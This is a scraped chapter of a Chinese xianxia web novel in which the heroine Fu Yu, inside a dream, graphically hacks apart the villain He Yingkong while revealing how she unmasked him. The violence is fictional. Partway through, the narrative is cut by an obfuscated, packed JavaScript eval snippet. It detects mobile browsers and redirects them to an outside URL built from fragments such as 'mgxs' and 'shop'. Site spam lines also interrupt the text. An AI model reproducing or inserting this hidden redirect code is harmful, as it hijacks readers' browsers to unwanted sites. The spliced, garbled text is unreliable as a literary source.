鬼物,也就是幻化成老神棍模样的鹤影空痛到失声。
断臂处传来的剧烈痛楚直入魂魄,陈桂花(老神棍)枯瘦尖硬的手指深深抠进他的血肉,指甲刮擦断骨碎面的声音和动静瘆人至极,令他瞳孔充血,牙根欲裂。
两眼发黑的瞬间,身上又被扶玉砍了好几刀。
双耳好似闷进水中,咕嘟作响,浓郁到窒息的血腥气味呛入鼻喉。
这一出变故来得太突然,一时令他魂飞天外,神智恍惚。
几息之前,他都已经以为自己成功了——成功骗扶玉亲手杀死陈桂花,破她道心,将她拉进黑暗地狱。
怎么……可能?
继手指抠进他喷血的伤口之后,陈桂花开始用牙齿撕咬他。她分明已经痛到浑身抽搐,硬是咬着他的断骨不放。
牙齿摩擦骨面的声音更是令人几欲疯魔。
他瞳底充血,痛到极致转为暴怒:“疯子!你们两个都是疯子!”
扶玉大笑,一刀劈中他腿上大脉,只见一道嫩红血箭飙上梁顶。
身体骤然虚弱。
“不好!”
鹤影空惊恐地发现自己竟然无法解除梦杀术。
他被困在这里了!
脊背蹿起一股彻骨的寒意。
不对,等等,入梦的锚点……她怎么可能知道?!
扶玉斩了几刀,累得连喘大气。
在鹤影空的梦术里她只是一个小孩,哪怕正在发酒疯,挥了半天菜刀双手也是酸软到不行。
她垂手拎着刀,回复气力时,不忘出言诛心。
“鹤影空,要不要猜一猜你的妻主月桐神女是怎么发的疯?”
妻主二字可把鹤影空点炸了。
他从未认为自己是入赘。
何况他早已经出人头地,早已经摆脱了曾经孱弱的躯体以及卑微的地位。
在陈桂花面前,这小王八蛋竟敢如此折辱于他!
脑袋轰一声爆响,鹤影空好似一只被戳痛的**,腾地翻身挣动起来。
一乱动,伤口处的鲜血飙得更急,令他又一阵眩晕。
扶玉歪头,笑得天真无邪:“当然是我干的呀!”
鹤影空瞳孔微微颤抖。
他当然不会忘记那件倒霉事——月桐突然发疯当众喊出他的秘密,他不得已出手敲晕她,不曾想月桐竟然暴毙当场,叫他百口莫辩。
“原来是你!”
原来是她,竟然是她!
月桐之死害他稀里糊涂和无垢帝君大战了一场,身负重伤,背负罪责……若非如此,他又怎会落到今日之狼狈境地?
鹤影空醍醐灌顶。
扶玉真心实意地夸他:“我倒是真没想到你能反杀你岳主无垢帝君,厉害厉害
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
。”
她是懂得恶心人的。
一个妻主一个岳主专往鹤影空心窝子里扎刀。
趁着鹤影空无能狂怒扶玉见缝插针又送了他两道深可见骨的伤。
“啊对了!”扶玉露出小恶魔的微笑“差一点忘了告诉你!你化身秦千烛也是我杀的——意外不意外!惊喜不惊喜!”
一双黑湛湛、璀璨璨的眼睛里写满了“快夸我”三个字。
鹤影空难以置信地睁大双眼。
扶玉再补一刀:“你不会真以为假扮鬼伶君的人是那个升阳道主吧?他和你一样也是被冤枉的真凶我本人当时就在你们眼皮底下。”
鹤影空艰难抵抗老神棍的撕咬仰起脖子目眦欲裂:“地牢里的那个筑基期!”
扶玉为他鼓掌:“正是在下。”
“……”
失血与剧烈的心神震荡令鹤影空一阵阵眩晕。
筑基期这三个字听在圣人耳中与树下蝼蚁无异并不值得过一过脑子——她就这样大摇大摆在两个圣人眼皮子底下金蝉脱壳了。
竟然这样放跑了她!
鹤影空几欲吐血。
扶玉非常欠揍地点评:“你为岳主受伤的演技也算可圈可点。”
鹤影空惊怒交加:“你拿到了我的灵血。”
恍惚失神时身上又挨了好几刀他艰难挪动身子堪堪躲避要害却逃不过痛楚折磨。
他清晰感觉到自己的魂力在飞速流逝但却无力摆脱。
“嘶——”
陈桂花一口扯下了他的耳朵。
血流如注嗡嗡往耳道内倒灌
可他竟破不出梦!他怎么可能破不出梦!
“噗咔。”
菜刀卡进肋骨缝小扶玉双手握着刀柄双脚抵着床沿像拔萝卜一样身体一拱一拱往后拔——没拔动。
鹤影空真正感受到了冰寒刺骨的恐惧。
他颤抖着一对通红的眼珠缓缓盯向扶玉:“你为什么能识破?”
扶玉拔不动刀很不高兴。
听见这句却是笑了下。
她没理鹤影空只偏头望向正在“呸”一声吐出半片断耳的老神棍。
扶玉:“马大娘说你不摆摊跑去城隍庙我一下子就猜到你去找我了。要不然你怎么会去城隍庙。”
老神棍:“哼小拖油瓶怎么不干脆给鬼吃了算了省得拖累老娘!”
假如家里的扶玉是鬼那么真扶玉最有可能藏身的地方就是城隍庙。
老神棍没有在那里找到另一个“扶玉”于是故意带了个油炸假耗子回来试探扶玉扶玉成功过关。
第二日老神棍带回普通的吃食扶玉当着她的面把馕饼掰
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
碎故意留下一小半这就是在告诉老神棍:我不是鬼另一个“你”才是!
等到母女二人对坐吃烤鸭、喝烧酒便是最后的“对账”——啃骨头、酒酿圆子、发酒疯都是外人绝无可能知道的细节。
对完账便该算账。
酒坛一摔心领神会。
母女二人为了混口饭吃在外常常一唱一合联手骗人假死碰瓷什么的简直信手拈来。
对付一个鹤影空轻轻松松。
扶玉叹了口气:“他这个人心比天高成天就知道好风凭借力送他上青云。飘天上的家伙拿什么跟我斗。”
老神棍很不耐烦:“赶紧的弄死老娘疼不行了!”
扶玉面无表情:“我又不会心疼你。难得有机会我定要让你知道将来我有多厉害。你不信你问他。”
她说着话手上却没留情。
在骨缝里来回倒腾了半天总算把菜刀拔了出来干脆利落地斩了鹤影空另一只手。
这一次他憋住了没叫出声。
他不再白白浪费力气挣扎喊叫而是铆足全力尝试脱离。
不行……不行……依旧不行……
为什么?!到底为什么!
他不愿想也不敢去想那个最有可能的原因。
此刻的他已然大残浑身浴血痛不欲生他甚至不能确定扶玉是真的未能斩杀他要害还是故意要让他承受痛苦折磨。
扶玉又与老神棍聊了起来:“我给你报过仇了知道吧?地下赌坊我屠的。”
老神棍没什么大反应被压在下面的鹤影空瞳孔却是又一震。
扶玉继续面无表
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17402381|187953||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情:“你和我因果两消以后应该也不会再见面了。”
老神棍哼一声:“那可真是谢天谢地!”
“嗯。”扶玉点头“我会和全天下最厉害也最好看的男人成亲我还会成仙成神你且放心去。”
老神棍撇了撇嘴:“行吧。”
话音落时她的身躯渐渐变得透明
鹤影空愕然一瞬瞳孔一寸一寸向内收缩成针。
“终于明白了吗。”扶玉偏头望向他“她是我心里的老神棍不是你的。”
他极慢极慢地倒吸了一口凉气。
他嘶声:“你知道是我。”
扶玉用垂睫代替点头:“从一开始就知道。”
鹤影空的眼睛里凭空浮起一道惊雷。
他残破的身躯上密密麻麻涌起了鸡皮疙瘩。
扶玉笑吟吟抬眸直接挑破:“你以为自己真的找到我弱点了吗赵秀龙。”
鹤影空的眼眶不自觉扩大。
他不愿意去想的最坏结果轰隆一声砸在头上他只觉天旋地
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
转,身下的破木板床仿佛变成了万丈深渊。
旋转、坠落、旋转、坠落。
扶玉脸上的笑容也在扩大:“你确定我找不到入梦的锚点?那幅字啊,蚯蚓一样,密密麻麻,拿到我眼前晃。”
鹤影空脸色彻底灰败。
扶玉:“但你是不是忘了,你是照着我的字描的。在我面前玩祝术,我真不明白你哪来的自信,是因为一切得来都太轻易?”
鹤影空已经不需要知道更多细节了。
从她知道赵秀龙是他的那一刻起,他就已经一败涂地。
他嘴唇近乎无意识地翕动,发出微弱的声音:“我那么了解她……你怎可能识破……”
他把记忆里的陈桂花模仿得惟妙惟肖。
为什么?扶玉为什么会怀疑他?
扶玉笑了下:“你是真不食人间烟火。有没有想过,这世上能复刻老神棍饭菜味道的人,就只可能有一个啊。”
鹤影空依旧不懂:“那不就是她的转世……”
扶玉:“不,只有你。”
老神棍和赵秀龙压根不是一个地方的人,怎么可能做得出曾经的“家乡味”。
到如今还能做出那个味道的人,除了鹤影空这个自我感动的家伙之外,再不会有第二人。
鹤影空呆滞地望着扶玉越来越灿烂的笑脸。
她的表情显然不正常,不正常到让鹤影空心头凉飕飕:“你什么都知道,你竟不声不响,跟我相处那么久……”
他被恐惧慑住——此刻的扶玉让他感受到了生平仅有的大恐怖。
扶玉的嗓音因为兴奋而微微发颤,她的眼睛里跳跃着瘆人的光芒:“我知道啊,但是不会再有人能比你演得更像她了,你知道吗?你是世界上唯一一个能让我在你身上感受到她的存在的人啊,你知道吧?”
她摇晃着笑脸凑近。
手起刀落。
血溅在她脸上。
“做为一个母亲,老神棍哪里都不合格,但是她死了。她本来可以不用死,她可以拥有一百金。哈哈,我居然比一百金珍贵。你知道吗,一百金,她不吃不喝,一千年都赚不够。所以你知道我在她心里有多重要了吗?”
手起刀落。不停地手起刀落。
“我等你动手已经好久好久了,你知道吗,我想你迟一点,又想你早一点……”
“你都不知道这一刻我有多么兴奋!”
她颤栗到不能自已。
他恐惧到不能自已。